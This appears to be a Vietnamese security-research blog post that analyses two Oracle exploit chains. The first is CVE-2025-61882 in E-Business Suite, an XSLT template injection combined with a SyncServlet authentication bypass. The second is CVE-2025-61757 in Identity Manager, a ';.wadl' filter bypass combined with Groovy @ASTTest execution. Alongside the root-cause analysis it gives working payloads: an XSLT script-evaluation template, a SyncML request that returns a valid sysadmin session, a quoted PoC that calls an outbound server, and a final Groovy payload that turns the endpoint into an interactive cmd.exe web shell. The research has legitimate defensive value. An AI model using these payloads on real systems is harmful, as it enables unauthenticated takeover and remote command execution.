Hồi tháng 7 năm ngoái, hàng loạt tổ chức lớn trên thế giới bị ảnh hưởng bởi một lỗ hổng 0day trên Oracle E-Business Suite (EBS), sau đó lỗ hổng này đã được định danh: CVE-2025-61882. Và ngay sau khi thông tin này tràn lan khắp nơi, PoC được cho là có liên quan tới chiến dịch này đã được leak trên mạng. Mặc dù exploit này cực kì công phu, chain 5 bug nhỏ lẻ lại để có được preauth RCE, tuy nhiên hướng khai thác này lại có một hạn chế, yêu cầu victim phải có kết nối outbound để có thể exploit thành công. Trong thực tế thì điều này gần như là bất khả thi, server Oracle EBS thường chỉ hoạt động trong phạm vi nội bộ của tổ chức, với các network policy chặt chẽ, gần như việc để mở internet cho server EBS là không thể xảy ra trong thực tế! Và trong thực tế thì rất nhiều tổ chức đã bị dính ransomware thông qua bug này, do đó 0day bị lợi dụng không hề liên quan tới PoC mới bị leak.

Sau 4 tháng chờ đợi mà vẫn chưa có bài viết nào phân tích chi tiết hơn về bug này, chúng tôi quyết định thu thập lại các thông tin, setup lab, reproduce bug và viết chi tiết hơn về bug này.

Trước khi bắt đầu, khuyến khích bạn đọc xem qua trước các bài phân tích sau để hiểu rõ hơn về lỗ hổng:

• Oracle E-Business Suite Zero-Day Exploited in Widespread Extortion Campaign | Google Cloud Blog

• CrowdStrike Identifies Campaign Targeting Oracle E-Business Suite via Zero-Day Vulnerability Tracked as CVE-2025-61882

• Well, Well, Well. It’s Another Day. (Oracle E-Business Suite Pre-Auth RCE Chain - CVE-2025-61882)

Analysis

1. Post Auth XLST Injection lead to RCE

Phần này đã được nêu khá rõ tại bài phân tích của Google Mandiant:

Attacker có thể sử dụng chức năng XDO Template Manager để RCE, lợi dụng chức năng Preview template để trigger XSLT injection.

Để sử dụng chức năng trên, ta cần truy cập endpoint /OA_HTML/RF.jsp?function_id=XDO_TEMPLATES

Tạo một template mới như sau:

với file test.xsl:

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:b64="http://www.oracle.com/XSL/Transform/java/sun.misc.BASE64Decoder"
    xmlns:jsm="http://www.oracle.com/XSL/Transform/java/javax.script.ScriptEngineManager"
    xmlns:eng="http://www.oracle.com/XSL/Transform/java/javax.script.ScriptEngine"
    xmlns:str="http://www.oracle.com/XSL/Transform/java/java.lang.String">

  <xsl:template match="/">
    <xsl:variable name="bs" select="b64:decodeBuffer(b64:new(), 'BASE64_PAYLOAD')" />
    <xsl:variable name="js" select="str:new($bs)" />
    <xsl:variable name="m" select="jsm:new()" />
    <xsl:variable name="e" select="jsm:getEngineByName($m, 'js')" />
    <xsl:variable name="result" select="eng:eval($e, $js)" />
    <xsl:value-of select="$result" />
  </xsl:template>

</xsl:stylesheet>

Sau khi save template, click Preview để trigger bug:

Set breakpoint tại oracle.apps.xdo.oa.template.webui.TemplateGeneralCO.processRequest()

Khi chọn Preview, EBS sẽ kiểm tra xem request có phải lovEvent không, nếu không sẽ tiếp tục check xem có param tương ứng với từng chức năng hay không. Ở đây ta đang chọn Preview nên sẽ có param preview=Y.

tại TemplateGeneralCO.previewTemplate(), tiếp tục check xem có tồn tại param TemplateCode nếu có sẽ gọi tới TemplatesAMImpl.processTemplate() → TemplateHelper.processTemplate() → TemplateHelper.runProcessTemplate().

Method TemplateHelper.runProcessTemplate() sẽ chọn các engine tương ứng với template type để xử lý. Template type của ta là XSL-HTML sẽ do engine XSLTWrapper xử lý :

else {
  Logger.log("TemplateHelper.runProcessTemplate(): Calling XSLT processor.", 1);
  XSLTWrapper var36 = new XSLTWrapper(var8);
  if (var2.getClass().isArray()) {
      throw new XDOException("You cannot pass multiple data XMLs to PDF Form processor.");
  }

  if (var2.getClass().getName().endsWith("Reader")) {
      var36.transform((Reader)var2, new InputStreamReader(var10, "UTF-8"), var22);
  } else {
      var36.transform((InputStream)var2, var10, var22);
}

từ đây tiếp tục call tới XSLT10gR1.transform() → XSLT10gR1.invokeProcessXSL() và đây cũng chính là sink của bug này:

private void invokeProcessXSL(Object var1, Object var2, Object var3, OutputStream var4) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException {
    Class[] var5 = new Class[]{Class.forName("oracle.xdo.parser.v2.XSLStylesheet"), Class.forName("oracle.xdo.parser.v2.XMLDocument"), class$java$io$OutputStream != null ? class$java$io$OutputStream : (class$java$io$OutputStream = class$("java.io.OutputStream"))};
    Method var6 = null;
    var6 = var1.getClass().getMethod("processXSL", var5);
    var6.invoke(var1, var2, var3, var4);
}

Stack trace từ sink tới source:

oracle.apps.xdo.common.xml.XSLT10gR1.invokeProcessXSL(Unknown Source)
oracle.apps.xdo.common.xml.XSLT10gR1.transform(Unknown Source)
oracle.apps.xdo.common.xml.XSLT10gR1.transform(Unknown Source)
oracle.apps.xdo.common.xml.XSLTWrapper.transform(Unknown Source)
oracle.apps.xdo.oa.schema.server.TemplateHelper.runProcessTemplate(TemplateHelper.java:6108)
oracle.apps.xdo.oa.schema.server.TemplateHelper.processTemplate(TemplateHelper.java:3481)
oracle.apps.xdo.oa.schema.server.TemplateHelper.processTemplate(TemplateHelper.java:3570)
oracle.apps.xdo.oa.template.server.TemplatesAMImpl.processTemplate(TemplatesAMImpl.java:2144)
sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
java.lang.reflect.Method.invoke(Method.java:606)
oracle.apps.fnd.framework.server.OAUtility.invokeMethod(Unknown Source)
oracle.apps.fnd.framework.server.OAUtility.invokeMethod(Unknown Source)
oracle.apps.fnd.framework.server.OAApplicationModuleImpl.invokeMethod(OAApplicationModuleImpl.java:787)
oracle.apps.xdo.oa.template.webui.TemplateGeneralCO.previewTemplate(TemplateGeneralCO.java:774)
oracle.apps.xdo.oa.template.webui.TemplateGeneralCO.processRequest(TemplateGeneralCO.java:158)

2. Authentication Bypass

Đây có lẽ là mảnh ghép cuối cùng còn thiếu của 0day này, mặc dù đã được đề cập trong các bài phân tích của CrowdStrike và Mandiant, tuy nhiên để produce được, cần phải setup lab và debug sâu hơn.

Theo bài phân tích của cả CrowdStrike và Mandiant, chuỗi khai thác này bắt đầu bằng một request POST tới endpoint /OA_HTML/SyncServlet.

Servlet này được định nghĩa trong tệp web.xml tại đường dẫn: /u01/install/APPS/fs1/FMW_Home/Oracle_EBS-app1/applications/oacore/html/WEB-INF/web.xml

<servlet-mapping> 
        <servlet-name>SyncServlet</servlet-name> 
        <url-pattern>/SyncServlet</url-pattern> 
    </servlet-mapping>

<servlet> 
     <servlet-name>SyncServlet</servlet-name> 
     <servlet-class>oracle.apps.jtf.cac.sync.transport.SyncServlet</servlet-class> 
  </servlet>

Về cơ bản, servlet này đóng vai trò là một HTTP Gateway để xử lý việc đồng bộ hóa lịch giữa Oracle EBS và các thiết bị hoặc ứng dụng bên ngoài (như Outlook hoặc điện thoại di động) dựa trên giao thức SyncML (Synchronization Markup Language).

Ban đầu SyncServlet sẽ kiểm tra message hiện tại có thuộc phiên đang tồn tại không dựa trên param sid và state, nếu có thì tiếp tục duy trì phiên đó:

String var14 = var1.getParameter("sid");
String var15 = var1.getParameter("state");


if (var14 != null && var14.length() > 0 && !String.valueOf(3).equals(var15) && !String.valueOf(1).equals(var15)) {
    var28 = new SyncContextManager();
    this.context = var28.getSyncContext((String)null, (String)null, var25, (Message)null, var8, var129, var10);
    this.context.setPrincipalInfo(var19, var18);
  
    SyncPersistentStore var29 = new SyncPersistentStore(this.context);
    this.context.setPersistentStore(var29);

   
    if (!this.context.validateSession(var14, true)) {
        throw new ServiceUnavailableException("Server Timed Out");
    }
  
    var6 = new SyncHandler(this.context);
    if (var19 != null && var18 != null) {
        var6.readPrincipal(var19, var18);
    }

    HashMap var30 = var29.getSyncAgents();
    Iterator var31 = var30.keySet().iterator();
    var32 = null;
    HashMap var33 = new HashMap(10);

    while (var31.hasNext()) {
        SyncAgent var34 = (SyncAgent) var30.get(var31.next());
        if (var34 != null) {
            var32 = var1.getParameter(var34.name);
        }

        if (var32 != null) {
            Database var35 = new Database(
                var34.uri, 
                (String)null, 
                (Target)null, 
                (Source)null, 
                new SyncAnchor((String)null, var17), 
                (Principal)null
            );
            var35.setServerAnchor(new SyncAnchor((String)null, var32));
            var33.put(var34.uri, var35);
        }
    }

    var6.setDbs(var33);
}

nếu trong message không có hai param trên SyncServlet sẽ tiến hành xác thực bằng username và password:

  if (var6 == null) {    
      var19 = var5.getHeader().getCredential().getUsername();    // [1]
      var39 = var5.getHeader().getCredential().getPassword();
      var18 = var5.getHeader().getSource().getURI();
      if (var19 == null || var19.trim().length() == 0 || var39 == null || var39.trim().length() == 0) {
          throw new UnauthorizedException("Username or password is missing");
      }

      SyncContextManager var141 = new SyncContextManager();
      this.context = var141.getSyncContext(var19, var39, var25, var5, var8, var129, var10);
      var3 = this.context.getLogger();
      if (var3.isEnabled(2)) {
          var3.write("oracle.apps.jtf.cac.sync.transport.SyncServlet", "Incoming message: " + var5.toString(), 2);
      }

      var141.createSession(this.context, var19, var39);    // [2]
      var14 = this.context.getSessionCookieValue();        // [4]
      var141.validateLogon(this.context, var19, var39);    // [3]
      var6 = new SyncHandler(this.context);
 } else {
      this.context = var6.getSyncContext();
      var3 = this.context.getLogger();
      if (var3.isEnabled(2)) {
          var3.write("oracle.apps.jtf.cac.sync.transport.SyncServlet", "Incoming message: " + var5.toString(), 2);
      }
 }

Đi theo luồng xử lý của method doPost(): nếu message SyncML (var 5) không chứa sid, method sẽ thực hiện các bước sau:

• [1]: Lấy username và password từ header của SyncML.

• [2]: Tạo một session mới cho user.

• [3]: Check thông tin đăng nhập.

• [4]: Gán session cookie vừa được tạo cho var14.

Lỗi logic xuất hiện ngay tại đây: SyncServlet sẽ tạo session trước khi kiểm tra mật khẩu của user truyền vào. Nếu check method createSession(), chúng ta có thể thấy nó không hề kiểm tra mật khẩu mà chỉ xác nhận xem username có tồn tại hay không:

public void createSession(SyncContext var1, String var2, String var3) throws Exception {
        if (this.logger.isEnabled(2)) {
            this.logger.write("oracle.apps.jtf.cac.sync.handler.SyncContextManager", "Enter createSession", 2);
        }

        try {
            this.logger = var1.getLogger();
            if (!var1.createSession(var2.toUpperCase())) {
                throw new UnauthorizedException("Session can't be created for " + var2);
            }

            SessionManager var4 = var1.getSessionManager();
            if (this.logger.isEnabled(3)) {
                this.logger.write("oracle.apps.jtf.cac.sync.handler.SyncContextManager", "createSession returned successfully", 3);
            }
        } catch (Exception var8) {
            // REDACTED
        } finally {
            // REDACTED
        }

    }

Chỉ cần username tồn tại trong hệ thống, một session sẽ được khởi tạo.

Mặc dù validateLogon() sẽ throw exception UnauthorizedException nếu password sai, nhưng nhánh catch sau đó sẽ nuốt exception này để return thông báo lỗi cho client mà không hề hủy bỏ session vừa tạo.

catch (Exception var233) {
     Exception var119 = var233;
     var39 = var119.fillInStackTrace();
     var3.write("oracle.apps.jtf.cac.sync.transport.SyncServlet", var119);
     if (!(var119 instanceof ServerException) && !(var119 instanceof RepresentationException) && !(var119 instanceof DataStoreFailureException) && !(var119 instanceof ProtocolVersionNotSupportedException) 
    && !(var119 instanceof BadRequestException) && !(var119 instanceof UnauthorizedException)) {
         var3.write("oracle.apps.jtf.cac.sync.transport.SyncServlet", "exiting sync servlet due to unexpected exception", 3);
             throw new ServletException(var39.toString());
     }

     try {
         var4 = SyncErrorHandler.processError(var5, var12, var39);
         var7 = var4.getMessage();
         var112 = false;
         var210 = false;
     }

Cuối cùng, EBS sẽ return response chứa session cookie hợp lệ về cho client:

if (var112) {
            // REDACTED
} 
else {
      // REDACTED
            if (var14 != null) {
                var131 = var131 + "sid=" + var14;    // [5]
            }  
        //REDACTED
            if (var4 != null && var7 != null) {
                if (var131 != null && var131.length() > 0) {
                    var131 = URLEncoder.encode(var131);
                    var7.getHeader().setResponseURI(var131);    // [6]
                }
                if (var3 != null && var3.isEnabled(2)) {
                    var3.write("oracle.apps.jtf.cac.sync.transport.SyncServlet", "Response SYNC Message: " + var7.toString(), 2);
                }
                var137 = null;
                if ("application/vnd.syncml+xml".equals(var4.getMimeType())) {
                    var137 = var7.toXML().getBytes();
                } else if ("application/vnd.syncml+wbxml".equals(var4.getMimeType())) {
                    try {
                        var137 = WBXMLTools.toWBXML(var7);     
                    } catch (Exception var216) {
                        var3.write("oracle.apps.jtf.cac.sync.transport.SyncServlet", var216);
                    }
                }
                try {
                    ((OutputStream)var20).write(var137);        // [7]
                } catch (Exception var214) {
                    var3.write("oracle.apps.jtf.cac.sync.transport.SyncServlet", var214);
                } finally {
                    ((OutputStream)var20).flush();
                    ((OutputStream)var20).close();
                }

            } else {
                var3.write("oracle.apps.jtf.cac.sync.transport.SyncServlet", "null response message", 4);
                throw new ServletException("response message is null");
            }

• [5]: Gán cookie vừa tạo vào param ‘sid’

• [6]: Đưa vào tag ResponseURI

• [7]: Return lại cho client

Tóm lại: Để chiếm được phiên đăng nhập của một user bất kỳ (ví dụ: sysadmin), ta chỉ cần gửi một message SyncML kèm theo username, EBS sẽ trả lại một cookie hợp lệ trong response :v (this must be a backdoor anyway ¯\_(ツ)_/¯).

POST /OA_HTML/SyncServlet HTTP/1.1
Host: apps.example.com:8000
Content-Type: application/vnd.syncml+xml
Content-Length: 607

<?xml version="1.0" encoding="UTF-8"?>
<SyncML>
  <SyncHdr>
    <VerDTD>1.1</VerDTD>
    <VerProto>SyncML/1.1</VerProto>
    <SessionID> 1</SessionID>
    <MsgID>1</MsgID>

    <Target><LocURI>http://localhost</LocURI></Target>
    <Source><LocURI>device-123</LocURI></Source>

    <Cred>
      <Meta>
        <Format>b64</Format>
        <Type>syncml:auth-basic</Type>
      </Meta>
      <Data>c3lzYWRtaW46V1JPTkdfUEFTUw==</Data>  // Base64(username:password)
    </Cred>
  </SyncHdr>

  <SyncBody>
    <Alert>
      <CmdID>1</CmdID>
      <Data>200</Data>
    </Alert>
    <Final/>
  </SyncBody>
</SyncML>

Demo:

PoC script:

Thanks for reading!

Tuần trước Searchlight Cyber có lên bài phân tích (here) về một lỗ hổng preauth RCE mới của Oracle Identity Manager - CVE-2025-61757. Đây là một chain gồm hai bug là authentication bypass và groovy injection. Tuy rằng tác giả cũng đã giải thích khá chi tiết nhưng mình thấy có một vài thứ khá là mới nên mình có tìm hiểu và viết lại một số thứ để tiện note lại cho sau này.

Authentication bypass

Theo như blog của searchlight đề cập, bug authen bypass nằm ở class oracle.wsm.agent.handler.servlet.SecurityFilter - đây cũng là class thực hiện việc check authen cho các endpoint của app applicationmanagement.

public final class SecurityFilter extends AbstractRESTFilter implements Filter {
    static {
        LOGGER = Logger.getLogger(CLASSNAME);
        WADL_PATTERN = Pattern.compile(”\\.[wW][aA][dD][lL](.)*\\z”); // [1]
    } 
    public void doFilter(ServletRequest request, ServletResponse response, final FilterChain chain) throws IOException, ServletException {
        LOGGER.entering(CLASSNAME, “doFilter”, new Object[]{request, response, chain});
        final HttpServletRequest httpRequest = (HttpServletRequest)request;
        HttpServletResponse httpResponse = (HttpServletResponse)response;
        final HttpServletResponse httpResponseWrapped = new WsmHttpResponseWrapper((HttpServletResponse)response);
        httpRequest.setAttribute(”request.processed.by.wsm.security.filter”, Boolean.valueOf(”true”));
        if (this.isCORSPreflightRequest(httpRequest)) { 
            chain.doFilter(httpRequest, httpResponse);
        } else {
            if (WADL_PATTERN.matcher(httpRequest.getRequestURI().trim()).find()) { // [2]
                chain.doFilter(httpRequest, httpResponse);
            } else {
                // auth check
            }
        }
    }

Tại [1] có thể thấy rõ ý đồ của dev khi muốn whitelist các request WADL bằng cách sử dụng pattern tìm kiếm các string có dạng .wadl, sau đó tại [2] cho phép chúng được xử lý mà không cần kiểm tra quyền truy cập bằng cách kiểm tra uri của request có chứa string .wadl không nếu có sẽ cho phép request được thông qua. → Classic auth bypass:v

Bài toán mới là làm sao để access được api khi muốn chèn string .wadl. Method getRequestURI() sẽ không lấy query string của url cho nên ta cũng không thể add thêm GET param như ?a=.wadl được.

Ở bài của Searchlight họ có để cập tới việc inject path parameter ;.wadl để exploit bug này. Khi đọc xong thì mình có thắc mắc là tại sao lại có thể dùng được như vậy:v. Tại sao /path;.wadl lại ăn, mà ko phải là /path.wadl?

Why ;.wadl?

Trong khi đi tìm hiểu về cách getRequestURI() return thì mình tìm được câu trả lời ở đây stackoverflow

getRequestURI() có nhận cả phần path parameter (phần ;jessionid=S+ID). Sau khi debug thì mình cũng phát hiện rằng JAX-RS khi routing lại ignore phần path parameter.

Cụ thể method RoutingStage._apply() sẽ là nơi thực hiện nhiệm vụ routing:

private RoutingResult _apply(RequestProcessingContext request, Router router) {
        Router.Continuation continuation = router.apply(request);
        Iterator var4 = continuation.next().iterator();

        RoutingResult result;
        do {
            if (!var4.hasNext()) {
                Endpoint endpoint = Routers.extractEndpoint(router);
                if (endpoint != null) {
                    return RoutingStage.RoutingResult.from(continuation.requestContext(), endpoint);
                }

                return RoutingStage.RoutingResult.from(continuation.requestContext());
            }

            Router child = (Router)var4.next();
            result = this._apply(continuation.requestContext(), child);// [3]
        } while(result.endpoint == null);

        return result;
    }

tại đây _apply() sử dụng thuật toán DFS duyệt từng router để tìm kiếm endpoint phù hợp

[3] sẽ gọi đệ quy _apply() lên từng child router, nếu không child nào match thì return null

tại router MatchResultInitializerRouter sẽ thực hiện khởi tạo MatchResult để so sánh với các path pattern lúc sau:

MatchResult khi khởi tạo sẽ được strip đi MatrixParam parameter là phần bắt đầu bằng dấu ; trong mỗi segment URL hay chính là path parameter ;.wadl:

Điều đó giải thích vì sao ta có thể và phải inject ;.wadl vào uri để có thể reach được API endpoint mong muốn.

Như vậy ta có thể bypass được auth một cách đơn giản bằng cách thêm vào cuối uri một path parm ;.wadl

request bình thường:

request có ;.wadl :

Groovy Injection

Với bug auth bypass giờ đây ta có thể tùy ý truy cập vào các chức năng của app applicationmanagement mà không cần xác thực, trong đó có endpoint groovyscriptstatus. API này cho phép người dùng truyền vào một đoạn mã script groovy và biên dịch chúng:

    @POST
    @Consumes({”application/json”})
    @Path(”/applications/groovyscriptstatus”)
    public Response compileScript(String script) throws Exception {
        ApplicationRestLogger.LOGGER.entering(ApplicationrestServiceController.class.getName(), “compileScript(String)”, new Object[]{script});

        try {
            ApplicationrestServiceImpl.compileScript(script);
        } catch (Exception var3) {
            Exception e = var3;
            ApplicationRestLogger.LOGGER.log(Level.SEVERE, (String)null, e);
            return Response.status(500).entity(e.getMessage()).type(”text/plain”).build();
        }

        ApplicationRestLogger.LOGGER.exiting(ApplicationrestServiceController.class.getName(), “compileScript(String)”);
        return Response.status(Status.OK).entity(”Script Compilation Successful”).type(”text/plain”).build();
    }

Như tên của endpoint này, chức năng của nó đơn thuần chỉ là kiểm tra syntax của script groovy bằng cách compile chúng nếu thành công thì trả response successful

Thoạt nhìn thì thấy chức năng này có vẻ vô hại, không exploit được gì khi nó chỉ biên dịch mà không thực sự thực thi code groovy nhưng Searchlight đã có một “trick” cực hay đó là sử dụng annotation để có thể execute được groovy.

Mình khá bất ngờ khi lần đầu biết được 1 annotation bình thường chỉ chứa các metadata lại có thể execute được code và đây cũng chính là lý do khiến mình quyết định dựng lại lab để debug root cause của nó.

POC của Searchlight trông như sau:

import groovy.transform.ASTTest
import org.codehaus.groovy.control.CompilePhase

class Demo {
    @ASTTest(phase = CompilePhase.SEMANTIC_ANALYSIS, value = {
        try {
            def connection = new URL(”https://our.outbound.server”).openConnection()
            connection.setRequestMethod(”GET”)
            def response = connection.getInputStream().getText()
        } catch (Exception e) {}
    })
    static void main(String[] args) {}
}

Demo.main()

Để hiểu cách mà poc trên hoạt động ta cần phải tìm hiểu trước các khái niệm như ASTTransformation hay Compilephase trong groovy.

AST Transformation

Groovy là một ngôn ngữ động (dynamic language) chạy trên JVM, được thiết kế để tương thích tốt với Java nhưng bổ sung thêm rất nhiều tính năng meta-programming mạnh mẽ. Một trong những cơ chế quan trọng của Groovy là AST Transformation – cho phép can thiệp trực tiếp vào cây cú pháp trừu tượng (Abstract Syntax Tree – AST) trong quá trình biên dịch.

Khác với Java, nơi annotation chủ yếu chỉ mang tính “mô tả”, annotation trong Groovy có thể được gắn với một AST Transformation cụ thể. Khi trình biên dịch Groovy đi qua từng phase (parsing, semantic analysis, canonicalization, …

Khi đó nó sẽ tìm các annotation đặc biệt và gọi tới lớp transformation tương ứng. Điều này cho phép annotation không chỉ “mô tả”, mà còn thay đổi hoặc tác động lên mã nguồn ở mức AST, ví dụ: tự động sinh constructor, thêm getter/setter, thêm logging

ASTTest

POC của Searchlight sử dụng annotation @ASTTest với compile phase là Semantic Analysis. @ASTTest là một annotation đặc biệt do Groovy cung cấp, được thiết kế để giúp dev test và debug các AST transformation.

Ta có thể chèn trực tiếp một đoạn closure vào annotation, và Groovy sẽ thực thi closure đó trong quá trình biên dịch tại compile phase Semantic Analysis.

Debugging

Quay trở lại với bug của chúng ta, sau khi truyền vào endpoint groovyscriptstatus một đoạn script groovy với 1 annotation như dưới:

POST /iam/governance/applicationmanagement/api/v1/applications/groovyscriptstatus;.wadl HTTP/1.1
Host: 192.168.127.176:14000
Content-Type: application/json
Content-Length: 333

import groovy.transform.ASTTest
import org.codehaus.groovy.control.CompilePhase

class Demo {
    @ASTTest(phase = CompilePhase.SEMANTIC_ANALYSIS, value = {
        try {
            java.lang.Runtime.getRuntime().exec(”calc”)
        } catch (Exception e) {}
    })
    static void main(String[] args) {}
}

Demo.main()

script sẽ được đem đi validate bằng cách parse thành Groovy Code Source rồi compile:

từ đây tiếp tục gọi tới GroovyClassLoader.doParseClass() để tiến hành compile:

private Class doParseClass(GroovyCodeSource codeSource) {
        validate(codeSource);
        CompilationUnit unit = this.createCompilationUnit(this.config, codeSource.getCodeSource()); //[4]

        SourceUnit su = null;
        File file = codeSource.getFile();
        if (file != null) {
            su = unit.addSource(file);
        } else {
            URL url = codeSource.getURL();
            if (url != null) {
                su = unit.addSource(url);
            } else {
                su = unit.addSource(codeSource.getName(), codeSource.getScriptText()); // add source
            }
        }

        ClassCollector collector = this.createCollector(unit, su);
        unit.setClassgenCallback(collector);
        int goalPhase = 7;
        if (this.config != null && this.config.getTargetDirectory() != null) {
            goalPhase = 8;
        }

        unit.compile(goalPhase); // [5]
        // REDACTED

    }

tại [4] lúc này Groovy sẽ khởi tạo một CompilationUnit object (đây chính là compiler) sau đó sẽ add phần code source trước đó đã được parse rồi gọi tới [5] để tiến hành compile.

CompilatationUnit.compile() chính là nơi Groovy thực hiện pipeline compile của mình:

public void compile(int throughPhase) throws CompilationFailedException {
    this.gotoPhase(1);
    throughPhase = Math.min(throughPhase, 9);

    while(throughPhase >= this.phase && this.phase <= 9) {
        if (this.phase == 4) {
            this.doPhaseOperation(this.resolve);
            if (this.dequeued()) {
                continue;
            }
        }

        this.processPhaseOperations(this.phase);
        this.processNewPhaseOperations(this.phase);
        if (this.progressCallback != null) {
            this.progressCallback.call(this, this.phase); //ASTTestTransformation$1.call()
        }

        this.completePhase();
        this.applyToSourceUnits(this.mark);
        if (!this.dequeued()) {
            this.gotoPhase(this.phase + 1);
            if (this.phase == 7) {
                this.sortClasses();
            }
        }
    }

    this.errorCollector.failIfErrors();
}

Lúc này compiler sẽ chạy tuần tự qua từng Compile Phase bắt đầu từ phase 1 (INITIALIZATION) sau đó sẽ lần lượt qua từng phase và thực hiện operation tương ứng. Tại phase 4 (SEMANTIC_ANALYSIS), compiler gọi resolve và thực thi toàn bộ AST Transformations đã được set bằng cách gọi tới progressCallback.call hay ASTTestTransformation$1.call()

public void call(ProcessingUnit context, int phaseRef) {
    CallSite[] var3 = $getCallSiteArray();
    // REDACTED
    if (BytecodeInterface8.isOrigInt() && BytecodeInterface8.isOrigZ() && !__$stMC && !BytecodeInterface8.disabledStandardMetaClass()) {
        if (ScriptBytecodeAdapter.compareEqual(phase.get(), (Object)null) || ScriptBytecodeAdapter.compareEqual(phaseRef, var3[48].callGetProperty(phase.get()))) {
            //REDACTED
            Object testSource = var3[58].call(sbx, var3[59].call(var3[60].callGetProperty(testClosurex), 1), var3[61].call(sbx));
            Object var23 = var3[62].call(testSource, 0, var3[63].call(testSource, “}”));
            testSource = var23;
            CompilerConfiguration config = (CompilerConfiguration)ScriptBytecodeAdapter.castToType(var3[64].callConstructor(CompilerConfiguration.class), CompilerConfiguration.class);
            Reference customizer = new Reference(var3[65].callConstructor(ImportCustomizer.class));
            var3[66].call(config, customizer.get());
            Object var26 = source.get();
            var3[67].call(this.binding, “sourceUnit”, var26);
            Object var27 = BytecodeInterface8.objectArrayGet((ASTNode[])ScriptBytecodeAdapter.castToType(nodes.get(), ASTNode[].class), 1);
            var3[68].call(this.binding, “node”, var27);
            Object var28 = var3[69].call(var3[70].callConstructor(MethodClosure.class, LabelFinder.class, “lookup”), BytecodeInterface8.objectArrayGet((ASTNode[])ScriptBytecodeAdapter.castToType(nodes.get(), ASTNode[].class), 1));
            var3[71].call(this.binding, “lookup”, var28);
            Object var29 = var3[72].callGroovyObjectGetProperty(this);
            var3[73].call(this.binding, “compilationUnit”, var29);
            Object var30 = var3[74].call(CompilePhase.class, phaseRef);
            var3[75].call(this.binding, “compilePhase”, var30);
            GroovyShell shell = (GroovyShell)ScriptBytecodeAdapter.castToType(var3[76].callConstructor(GroovyShell.class, this.binding, config), GroovyShell.class);
            var3[77].call(var3[78].callGetProperty(var3[79].callGetProperty(source.get())), new _call_closure2(this, this, customizer));
            var3[80].call(var3[81].callGetProperty(var3[82].callGetProperty(source.get())), new _call_closure3(this, this, customizer));
            var3[83].call(var3[84].callGetProperty(var3[85].callGetProperty(source.get())), new _call_closure4(this, this, customizer));
            var3[86].call(var3[87].callGetProperty(var3[88].callGetProperty(source.get())), new _call_closure5(this, this, customizer));
            var3[89].call(shell, testSource);
        }
    } 
          //REDACTED
    }

}

ASTTestTransformation lấy ClosureExpression từ annotation @ASTTest rồi lược bỏ chỉ còn:

        try {
            java.lang.Runtime.getRuntime().exec(”calc”)
        } catch (Exception e) {}

và cuối cùng gọi tới GroovyShell.evaluate() để thực thi đoạn mã trên:

Toàn bộ quá trình trên được diễn ra trong giai đoạn compile không phải runtime cho nên ta có thể thực thi code tùy ý → đây cũng chính là sink của chain này.

Ta có stack trace như sau:

exec:347, Runtime (java.lang)
call:-1, java_lang_Runtime$exec$0
defaultCall:48, CallSiteArray (org.codehaus.groovy.runtime.callsite)
call:113, AbstractCallSite (org.codehaus.groovy.runtime.callsite)
call:125, AbstractCallSite (org.codehaus.groovy.runtime.callsite)
run:2, Script1
evaluate:413, GroovyShell (groovy.lang)
evaluate:435, GroovyShell (groovy.lang)
evaluate:417, GroovyShell (groovy.lang)
call:-1, GroovyShell$evaluate (groovy.lang)
call:112, ASTTestTransformation$1 (org.codehaus.groovy.transform)
compile:562, CompilationUnit (org.codehaus.groovy.control)
doParseClass:238, GroovyClassLoader (groovy.lang)
parseClass:201, GroovyClassLoader (groovy.lang)
parseClass:472, GroovyShell (groovy.lang)
parse:476, GroovyShell (groovy.lang)
parse:497, GroovyShell (groovy.lang)
parse:488, GroovyShell (groovy.lang)
validateScript:122, GroovyScriptExecutor (oracle.iam.application.vo)
compileScript:538, ApplicationManagerImpl (oracle.iam.application.impl)

Final POC

Nếu bạn để ý, các PoC như của mình ở trên hoặc của Searchlight đều thực hiện theo cách gọi trực tiếp java.lang.Runtime để spawn process, hoặc mở một kết nối outbound ra bên ngoài. Tuy nhiên, cả hai phương pháp này đều có những hạn chế lớn. Ngay cả khi khai thác thành công và đạt được RCE, kết quả cũng chỉ là Blind RCE – tức là không có phản hồi trực tiếp để xác minh. Trường hợp server không cho phép outbound, thì cũng không có cách nào xác nhận việc khai thác có thực sự thành công hay không.

Để khắc phục hạn chế đó, cùng với việc lợi dụng script groovy không bị sandbox, ta có thể dùng java Reflection API để access được các object request/response của Thread hiện tại và modify lại logic tùy ý, từ đó có thể control được response trả về của OIM.

import groovy.transform.ASTTest
import org.codehaus.groovy.control.CompilePhase

class Demo {
    @ASTTest(phase = CompilePhase.SEMANTIC_ANALYSIS, value = {
        try {
            def thread = Thread.currentThread()
            def execThread = Class.forName(”weblogic.work.ExecuteThread”).cast(thread)
            def work = execThread.getClass().getMethod(”getCurrentWork”).invoke(execThread)

            def handlerField = work.getClass().getDeclaredField(”connectionHandler”)
            handlerField.setAccessible(true)
            def handler = handlerField.get(work)

            def req = handler.getClass().getMethod(”getServletRequest”).invoke(handler)
            def res = handler.getClass().getMethod(”getServletResponse”).invoke(handler)

            def param = req.getParameter(”cmd”)
            def out = res.getWriter()

            if (param != null && !param.trim().isEmpty()) {
                String[] cmds = [ “cmd.exe”, “/c”, param ] as String[]
                def process = Runtime.getRuntime().exec(cmds)
                def reader = new BufferedReader(new InputStreamReader(process.getInputStream()))
                String line
                while ((line = reader.readLine()) != null) {
                    out.println(line)
                }
                reader.close()
            }
            out.flush()
            res.flushBuffer()
        } catch (Throwable t) {
            
        }
    })
    def x 
}